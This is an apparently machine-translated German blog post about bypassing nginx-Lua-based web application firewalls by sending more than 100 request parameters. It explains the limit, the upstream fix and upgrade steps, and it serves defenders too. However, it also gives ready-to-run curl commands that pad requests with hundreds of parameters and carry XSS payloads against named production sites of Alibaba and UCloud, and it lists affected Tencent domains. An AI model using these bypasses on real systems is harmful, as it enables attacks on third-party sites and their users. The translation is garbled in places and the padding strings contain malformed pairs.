|
|
Veröffentlicht am 27.04.2018 09:23:29
|
|
|
|

Wenn ginx Lua Parameter erhält, werden standardmäßig die ersten 100 Parameterwerte erhalten, und der Rest wird verworfen. Daher werden WAFs, die Nginx Lua verwenden, standardmäßig umgangen. Am 20. und 18. April hatte jemand des Sicherheitspassagiers dieses Detail bereits offengelegt, weshalb ich auch Artikel 233 veröffentlicht habe.
Prinzip
Die offizielle Beschreibung lautet wie folgt
Beachten Sie, dass maximal 100 Anfrage-Argumente standardmäßig geparst werden (einschließlich derselben Namens) und dass zusätzliche Anfrage-Argumente stillschweigend verworfen werden, um potenzielle Argumente zu verhindern Denial-of-Service-Angriffe. Bis zu 100 Anfrageparameter (einschließlich derselben Namen) können standardmäßig analysiert werden, und zusätzliche Anfrageparameter werden automatisch entfernt, um potenzielle Denial-of-Service-Angriffe zu verhindern.
Search 100, ungefähr die folgende Methode hat dasselbe Problem. ngx.req.get_uri_args Hol die Anfrageparameter für get ngx.req.get_post_args Hol dir die Anfrageparameter für den Beitrag ngx.req.get_headers Hol dir den Request-Header ngx.decode_args Entschlüsseln Sie die URL der Parameter ngx.resp.get_headers Hol dir die Antwort-Header. Im Quellcode des lua-nginx-Moduls sehen wir, dass der Quellcode den Standard-Maximalanforderungsparameter und den Header auf 100 setzt
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
Der Offizielle stellt jedoch eine Methode zur Verfügung, um den Standardwert zu ändern, zum Beispiel ngx.req.get_uri_args (200), um die ersten 200 Anfrageparameter zu erhalten.
Test
Ist der Anfrageparameter 101, kann der letzte Anfrageparameter nicht erhalten werden.
Curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'
Wenn du einen Request-Parameter reduzierst, kannst du den letzten Request-Parameter erhalten, wenn die Request-Parameter genau 100 sind.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 A: ZBG Ich hab dich, zbg
Beachten Sie, dass standardmäßig tatsächlich 100 Anfrageparameter sind, und die Anfrageparameter nach 100 Anfrageparametern werden verworfen.
Es ist merkwürdig, dass im obigen Rückgabe-Inhalt, in der Mitte der Rough-Position, der letzte zbg-Parameter bereits ausgegeben wird. Ich vermute, dass die Ausgabe nicht in der Reihenfolge ist, aber die Reihenfolge, in der das Parsing erfolgt, der Reihenfolge der eingereichten Parameter folgt, denn wenn der 101. Parameterwert zbg ist, kann der Wert nicht ermittelt werden.
Angehängt ist das Python-Skript, das die Parameter generiert:
# Autor: ZBG # Mail:zbg@zbg.org # Datum: 03.04.2018
a = '' Für I im Bereich(200): a = a + 'a{0}={1}&'.format(i+1, i+1) Druck a reparieren Natürlich wird nicht empfohlen, den MAX-Wert des Parameters im Quellcode zu ändern. Denn egal wie hoch der Wert ist, der Wert kann umgangen werden. Es wird empfohlen, sie nach den Parametern der Methode einzustellen. Wenn man die Länge des Anfrageparameters herausfinden und eine Methode wie ngx.req.get_uri_args (Lenth) verwenden kann, würde das nicht ausreichen? Beim Lesen der Dokumentation stellte ich fest, dass die Anzahl der angeforderten Parameter nicht erhalten werden konnte. Wenn du jedoch die Lenth auf 0 setzt, kannst du alle gewünschten Parameter erhalten.
Dieses Argument kann auf Null gesetzt werden, um die Grenze zu entfernen und alle empfangenen Anfrageargumente zu verarbeiten. lokale Args = ngx.req.get_uri_args(0)
Es wird jedoch dringend davon abgeraten, sie auf 0 zu setzen, um mögliche Denial-of-Service-Angriffe zu verhindern.
Das Entfernen der max_args-Kappe wird dringend abgeraten.
Eigentlich habe ich mich gefragt, warum das Setzen von 0 zu einem möglichen Denial-of-Service-Angriff führen sollte und die Anfrage sowieso an nginx gehen würde, egal wie viele Parameter es in Get oder Post gibt.
Ich habe dem Offiziellen ein Problem vorgebracht, und der Autor sagte, dass ngx.req.get_uri_args (0) die CPU- und Speichernutzung des Servers erhöhen wird. Später testete ich 200 Parameter und verwendete Nginx+php, um den 200. Parameter zu erhalten, was bedeutet, dass Nginx standardmäßig die Anzahl der angeforderten Parameter nicht begrenzt. Dann könnte das Problem in Nginx Lua selbst liegen,Wenn Nginx Lua ngx.req.get_uri_args(0) verwendet, um alle Parameter zu erhalten und durch sie iteriert, verbraucht es nach vielen angeforderten Parametern mehr CPU und Speicher und führt schließlich sogar zu einem Denial-of-Service。
Am 03.04.2018 hat Bypass007 offiziell ein PROBLEM zu diesem Bugfix aufgeworfen und schließlich am 21.04.2018 eine neue Funktion basierend auf diesem PROBLEM hinzugefügt. Die Commit-Datensatzadresse dieser Funktion: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
Die Funktionsbeschreibung lautet wie folgt: In Versionen nach v0.10.13 (einschließlich v0.10.13), wenn die Grenze der Anfragen überschritten wird, ist der zweite Rückgabewert der abgeschnittene String. Seit v0.10.13 wird beim Überschreiten des Limits ein zweiter Wert zurückgegeben, der die "trunkierte" Zeichenkette ist. Das optionale Argument max_args Funktion kann jedoch verwendet werden, um diese Grenze zu überschreiben: lokale Args, ERR = ngx.req.get_uri_args(10) wenn err == "abgeschnitten", dann -- kann man sich entscheiden, die aktuelle Anfrage hier zu ignorieren oder abzulehnen Ende
Also kam die endgültige Lösung heraus.
Upgrade lua-nginx-Modul auf v0.10.13 oder höher
Dann begrenze die Gesamtzahl der Parameter, und wie stark die Gesamtzahl begrenzt ist, denke ich persönlich, dass 100 ausreichen
OpenResty verbessert das lua-nginx-Modul
Ich habe keine Informationen über das OpenResty-Upgrade-Modul gefunden, also habe ich selbst herausgefunden, wie ich das lua-nginx-Modul upgraden kann.
Die Schritte sind wie folgt:
Laden Sie die entsprechende Version des lua-nginx-Moduls herunter WGET https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 auspacken tar -zxvf v0.10.13 Lösche die vorherige Version des lua-nginx-Moduls rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5 Kopiere das neue lua-nginx-Modul mv lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13 Für die Kompilierung siehe die Kompilierungsparameter von VeryNginx
Gehäuseumgehung
Es sollte klargestellt werden, dass ich bei den folgenden WAFs nicht sicher bin, ob ich Nginx Lua verwenden soll, aber sie können durch die Gesamtanzahl der Parameter umgangen werden.
Ali WAF
Dieses WAF ist ein WAF, das intern von Alibaba verwendet wird, also das WAF, das von Domainnamen wie *.taobao.com verwendet wird, und wurde nicht für das Cloud-WAF getestet, das von Alibaba Cloud verkauft wird. Zuerst fordere eine POST XSS-Nutzlast an, um sie abzufangen. curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com Durch Fuzz wurde festgestellt, dass, wenn die Anzahl der Parameter mit XSS Payload auf 478 erhöht wird, diese nicht mehr abgefangen wird und die Website normal abgerufen werden kann. Curl -v -d 'A1=1&A2=2&A3=3&A4=4&A5=5&A6=6&A7=7&A8=8&A9=9&A10=10&A11=11&A12=12&A13=13&A14=14&A15=15&A16=16&A17=17&A18=18&A19=19&A20=20&A21=21&A22=22&A23=23&A24=24&A25=25&A26=26& A27=27&A28=28&A29=29&A30=30&A31=31&A32=32&A33=33&A34=34&A35=35&A36=36&A37=37&A38=38&A39=39&A40=40&A41=41&A42=42&a43=43&A44=44&A45=45&a46=46&A47=47&A48=48&A49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110=110&a1111=111=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133=133=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=21&a222=22=222&a223=23&a224=24&a225=25&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=35&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355=355&a356=356& A357=357&A358=358&A359=359&A360=360&A361=361&A362=362&A363=363&A364=364&A365=365&A366=366&A367=367&A368=368&A369=369&A370=370&A371=371&A372=372&A373=373&A374=374&A375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444=444=445&a446=446=447&a448=448=48&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455=456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465=465&a466=466=467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
UCloud
Der getestete WAF ist ein WAF, der von UCloud verkauft wird. Wenn der Anfrageparameter auf 138 erhöht wird, wird er nicht mehr blockiert und die Website wird normal aufgerufen. Curl -D 'A1=1&A2=2&A3=3&A4=4&A5=5&A6=6&A7=7&A8=8&A9=9&A10=10&A11=11&A12=12&A13=13&A14=14&A15=15&A16=16&A17=17&A18=18&A19=19&A20=20&A21=21&A22=22&A23=23&A24=24&A25=25&A26=26& A27=27&A28=28&A29=29&A30=30&A31=31&A32=32&A33=33&A34=34&A35=35&A36=36&A37=37&A38=38&A39=39&A40=40&A41=41&A42=42&a43=43&A44=44&A45=45&a46=46&A47=47&A48=48&A49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110=110&a1111=111=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133=133=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn
Tencent WAF
Dieses WAF ist ein WAF, das intern von Tencent verwendet wird, also das WAF, das von Domainnamen wie *.qq.com verwendet wird, und wurde nicht für das Cloud-WAF getestet, das von Tencent Cloud verkauft wird. Wenn der Anfrageparameter auf 4000 erhöht wird, wird er nicht mehr blockiert und die Website wird normal abgerufen. Zufällige Tests der folgenden Domänen sind betroffen. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
Zusammenfassung
Diese Frage ist sehr einfach, und Sie können sie finden, indem Sie das Dokument sorgfältig lesen. Aber warum habe ich es nicht herausgefunden? Ich denke, es ist immer noch zu wenig Nachdenken. Referenz
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
Vorhergehend:Lern Photoshop von Grund auf, 18 Lektionen vom Anfänger zu GottNächster:Stärken und Schwächen von Lua und Luajit
|